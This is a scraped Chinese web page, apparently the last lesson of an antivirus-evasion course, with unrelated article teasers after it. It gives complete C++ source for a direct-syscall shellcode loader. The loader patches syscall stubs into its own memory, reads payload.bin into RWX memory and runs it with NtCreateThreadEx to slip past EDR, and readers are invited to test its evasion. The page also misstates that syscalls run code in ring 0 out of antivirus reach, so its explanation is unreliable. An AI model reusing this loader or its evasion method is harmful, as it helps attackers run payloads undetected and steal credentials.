news 2026/6/9 20:58:29

安全工具篇动态绕过DumpLsass凭据SysCALL调用对抗EDR打乱源头特征

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
安全工具篇动态绕过DumpLsass凭据SysCALL调用对抗EDR打乱源头特征

免杀对抗——第一百六十七天

安全工具篇&动态绕过&DumpLsass凭据&SysCALL调用&对抗EDR&打乱源头特征

动态拦截 - dump lsass绕过-源头特征混淆文件

  • 接着昨天的内容,除了上述这些方法,还可以用其他的冷门项目,参考文章:Lsass Dump的50种方法

  • 然后还有就是这个Syscall调用去绕过,参考文章:【免杀】突破 360 核晶防护的 Syscall 免杀策略

  • Intel的CPU将特权等级分为4个级别——从R0到R3,R0是系统核心态,在核心态运行,拥有最高权限;R1和R2运行的是设备驱动程序;R3是用户代码态,在用户态下运行,拥有最低权限,每一层支持访问本层以及权限更低层的数据:

  • 它的免杀原理就是,能不能注入到比杀毒软件更高的特权等级运行,让杀软无法扫描检测,以此来绕过杀软或EDR:

  • 这里可以参考我们之前学的InlineHook,它的作用是隐藏DLL加载函数,让杀软找不到;而这里的Syscall是将DLL加载函数放到R0层执行,让杀软无法检测

  • 但这是属于之前的免杀思路了,也不知道gay迪怎么莫名其妙讲到了这里,代码如下:

#include"syscalls_mem.h"#include<stdio.h>#include<stdlib.h>#include<windows.h>#include<psapi.h>#include<fstream>#include<iostream>#include<vector>#include<sstream>#include<iomanip>#define_CRT_SECURE_NO_WARNINGSusing namespace std;#defineDEBUG0HMODULEGetMainModule(HANDLE);BOOLGetMainModuleInformation(PULONG64,PULONG64);voidFindAndReplace(unsignedchar[],unsignedchar[]);unsignedchar*charToUnsignedChar(constchar*str){// 获取字符串的长度intlen=strlen(str);// 为 unsigned char[] 分配内存空间unsignedchar*ustr=newunsignedchar[len+1];// 需要+1来存储字符串结束符 '\0'// 将字符复制到 unsigned char[] 中for(inti=0;i<len;++i){ustr[i]=static_cast<unsignedchar>(str[i]);}ustr[len]='\0';// 添加字符串结束符returnustr;}// 获取指定进程的主模块句柄HMODULEGetMainModule(HANDLE hProcess){HMODULE mainModule=NULL;// 主模块句柄,初始化为NULLHMODULE*lphModule;// 指向模块句柄数组的指针LPBYTE lphModuleBytes;// 指向模块句柄缓冲区的指针DWORD lpcbNeeded;// 存储模块句柄所需的缓冲区大小// 首先调用EnumProcessModules来获取存储模块句柄所需的空间大小(以字节为单位)BOOL success=EnumProcessModules(hProcess,NULL,0,&lpcbNeeded);// 我们已经知道lpcbNeeded一定大于0if(!success||lpcbNeeded==0){printf("[-] Error enumerating process modules\n");// 我们已经知道无法动态放置系统调用指令,退出exit(1);}// 一旦我们获取到存储该进程所有模块句柄所需的字节数,我们可以为其分配空间lphModuleBytes=(LPBYTE)LocalAlloc(LPTR,lpcbNeeded);if(lphModuleBytes==NULL){printf("[-] Error allocating memory to store process modules handles\n");exit(1);}unsignedintmoduleCount;moduleCount=lpcbNeeded/sizeof(HMODULE);lphModule=(HMODULE*)lphModuleBytes;success=EnumProcessModules(hProcess,lphModule,lpcbNeeded,&lpcbNeeded);if(!success){printf("[-] Error enumerating process modules\n");exit(1);}// 最后存储主模块mainModule=lphModule[0];// 避免内存泄漏LocalFree(lphModuleBytes);// 返回主模块returnmainModule;}// 获取主模块信息BOOLGetMainModuleInformation(PULONG64 startAddress,PULONG64 length){HANDLE hProcess=GetCurrentProcess();// 获取当前进程句柄HMODULE hModule=GetMainModule(hProcess);// 获取主模块句柄MODULEINFO mi;// MODULEINFO结构体GetModuleInformation(hProcess,hModule,&mi,sizeof(mi));// 获取模块信息,存储在mi中printf("Base Address: 0x%llu\n",(ULONG64)mi.lpBaseOfDll);// 输出模块加载基址printf("Image Size: %u\n",(ULONG)mi.SizeOfImage);// 输出模块映像大小printf("Entry Point: 0x%llu\n",(ULONG64)mi.EntryPoint);// 输出模块入口点printf("\n");*startAddress=(ULONG64)mi.lpBaseOfDll;// 将加载基址存储在startAddress中*length=(ULONG64)mi.SizeOfImage;// 将映像大小存储在length中DWORD oldProtect;// 将页面属性设置为可执行可读可写VirtualProtect(mi.lpBaseOfDll,mi.SizeOfImage,PAGE_EXECUTE_READWRITE,&oldProtect);return0;}voidFindAndReplace(unsignedcharegg[],unsignedcharreplace[]){ULONG64 startAddress=0;// 主模块加载基址ULONG64 size=0;// 主模块映像大小GetMainModuleInformation(&startAddress,&size);// 获取主模块信息,更新startAddress和sizeif(size<=0){printf("[-] Error detecting main module size");exit(1);}ULONG64 currentOffset=0;// 当前偏移unsignedchar*current=(unsignedchar*)malloc(8*sizeof(unsignedchar*));// 分配8字节空间size_tnBytesRead;printf("Starting search from: 0x%llu\n",(ULONG64)startAddress+currentOffset);while(currentOffset<size-8)// 循环搜索, currentOffset 的最大值为 size - 8{currentOffset++;LPVOID currentAddress=(LPVOID)(startAddress+currentOffset);// 计算当前搜索地址if(DEBUG>0){printf("Searching at 0x%llu\n",(ULONG64)currentAddress);}if(!ReadProcessMemory((HANDLE)((int)-1),currentAddress,current,8,&nBytesRead)){printf("[-] Error reading from memory\n");exit(1);}if(nBytesRead!=8){printf("[-] Error reading from memory\n");continue;}if(DEBUG>0){// 调试输出当前读取的8字节for(inti=0;i<nBytesRead;i++){printf("%02x ",current[i]);}printf("\n");}if(memcmp(egg,current,8)==0)// 如果读取的8字节与egg匹配{printf("Found at %llu\n",(ULONG64)currentAddress);// 替换为replaceWriteProcessMemory((HANDLE)((int)-1),currentAddress,replace,8,&nBytesRead);}}printf("Ended search at: 0x%llu\n",(ULONG64)startAddress+currentOffset);free(current);// 释放current分配的内存空间}unsignedcharhexCharToUnsignedChar(charhex){if('0'<=hex&&hex<='9'){returnhex-'0';}elseif('a'<=hex&&hex<='f'){returnhex-'a'+10;}elseif('A'<=hex&&hex<='F'){returnhex-'A'+10;}return0;}// 将两个十六进制字符组成的字符串转换为相应的 unsigned char 数值unsignedcharhexStringToUnsignedChar(conststd::string&hexString){if(hexString.length()!=2){return0;// 输入错误,返回0}return(hexCharToUnsignedChar(hexString[0])<<4)|hexCharToUnsignedChar(hexString[1]);}// 将十六进制字符串转换为相应的 unsigned char 数组std::stringhexStringToUnsignedCharArray(conststd::string&hexString){size_tlength=hexString.length();if(length%2!=0){return"";// 长度不是偶数,无法正确转换,返回空字符串}std::string result;for(size_ti=0;i<length;i+=2){result+=hexStringToUnsignedChar(hexString.substr(i,2));}returnresult;}/* length: 892 bytes */unsignedintcalc_len=924-32;std::stringByteToHex(unsignedcharbyte){std::ostringstream oss;oss<<std::hex<<std::uppercase<<std::setw(2)<<std::setfill('0')<<static_cast<unsignedint>(byte);returnoss.str();}std::stringBinaryToHex(conststd::vector<unsignedchar>&binaryData){std::ostringstream oss;for(unsignedcharbyte:binaryData){oss<<ByteToHex(byte);}returnoss.str();}intmain(){charfilename[]="C:\\Users\\alice\\Desktop\\aviod\\syscall2\\payload.bin";// 以读模式打开文件ifstream infile;//以二进制方式打开infile.open(filename,ios::out|ios::binary);infile.seekg(0,infile.end);//追溯到流的尾部intlength=infile.tellg();//获取流的长度infile.seekg(0,infile.beg);//回溯到流头部char*data=newchar[length];//存取文件内容if(infile.is_open()){cout<<"reading from the file"<<endl;infile.read(data,length);}cout<<"size of data ="<<sizeof(data)<<endl;cout<<"size of file ="<<length<<endl;for(inti=0;i<length;i++){printf("\\%x ",data[i]);}printf("\n");unsignedcharegg[]={0x74,0x0,0x0,0x7a,0x74,0x0,0x0,0x7a};// eggunsignedcharreplace[]={0x0f,0x05,0x90,0x90,0xC3,0x90,0xCC,0xCC};// syscall; nop; nop; ret; nop; int3; int3FindAndReplace(egg,replace);HANDLE hProc=GetCurrentProcess();DWORD oldprotect=0;PVOID base_addr=NULL;HANDLE thandle=NULL;NTSTATUS NTAVM=NtAllocateVirtualMemory(hProc,&base_addr,0,(PSIZE_T)&length,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);NTSTATUS ABM=NtWriteVirtualMemory(hProc,base_addr,data,length,0);//RtlMoveMemory(base_addr, calc_payload, calc_len);NTSTATUS ct=NtCreateThreadEx(&thandle,GENERIC_EXECUTE,NULL,hProc,base_addr,NULL,FALSE,0,0,0,NULL);WaitForSingleObject(thandle,-1);//free(base_addr);//clean up after ourselve}
  • 这个的话可以自己下去试试免杀性如何,这种思路还是值得学习的,然后这节课就比较水,也是免杀的最后一节课,差不多就这些内容

总结

  • 整个免杀课程到这里就结束了,然后下面是做的整个内容的思维导图,可以参考复习看看:
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/9 17:21:07

细胞多尺度仿真软件:MCell_(14).并行计算与大规模仿真

并行计算与大规模仿真 在细胞多尺度仿真软件&#xff08;如MCell&#xff09;中&#xff0c;进行大规模仿真时&#xff0c;计算资源的限制往往是一个关键问题。并行计算技术可以在多核处理器、多台计算机甚至是超级计算机上分配计算任务&#xff0c;从而显著提高仿真效率和处理…

作者头像 李华
网站建设 2026/6/7 2:27:48

【计算机毕业设计案例】基于SpringBoot+微信小程序的高校毕业生离校管理系统基于springboot+小程序的高校毕业生服务管理系统小程序(程序+文档+讲解+定制)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/6/7 6:58:58

AI与提示架构整合的评估方法论:提示工程架构师的指标体系

AI与提示架构整合的评估方法论&#xff1a;提示工程架构师的指标体系 一、引言&#xff1a;为什么你的提示架构需要“可量化的健康度”&#xff1f; 1. 钩子&#xff1a;你是否陷入了“提示优化的盲目循环”&#xff1f; 某金融科技公司的提示工程师小周最近很焦虑&#xff1a;…

作者头像 李华
网站建设 2026/6/7 7:03:48

细胞多尺度仿真软件:MCell_(10).仿真结果的分析与可视化

仿真结果的分析与可视化 在细胞多尺度仿真软件&#xff08;如MCell&#xff09;中&#xff0c;仿真结果的分析与可视化是非常重要的步骤。通过这些步骤&#xff0c;我们可以深入了解细胞内的动态过程&#xff0c;验证模型的准确性&#xff0c;并为进一步的研究提供依据。本节将…

作者头像 李华
网站建设 2026/6/7 7:49:33

AI应用架构师实战:多智能体协作系统的“角色分工”设计

AI应用架构师实战:多智能体协作系统的角色分工设计——从0到1搭建可落地的协作框架 另附标题选项 《多智能体协作系统实战:如何用“角色分工”解决复杂AI任务?》 《AI架构师必看:多智能体系统的角色设计方法论——从理论到代码》 《告别单智能体瓶颈!多智能体协作的核心:…

作者头像 李华
网站建设 2026/6/7 6:51:43

HDFS 在大数据领域的发展趋势与挑战

HDFS 在大数据领域的发展趋势与挑战 关键词:HDFS、分布式存储、大数据处理、云原生架构、边缘计算、数据湖、数据治理 摘要:作为Hadoop生态的核心组件,HDFS(Hadoop分布式文件系统)在过去十几年支撑了全球90%以上的大数据处理场景。本文从技术演进视角深度剖析HDFS的核心架…

作者头像 李华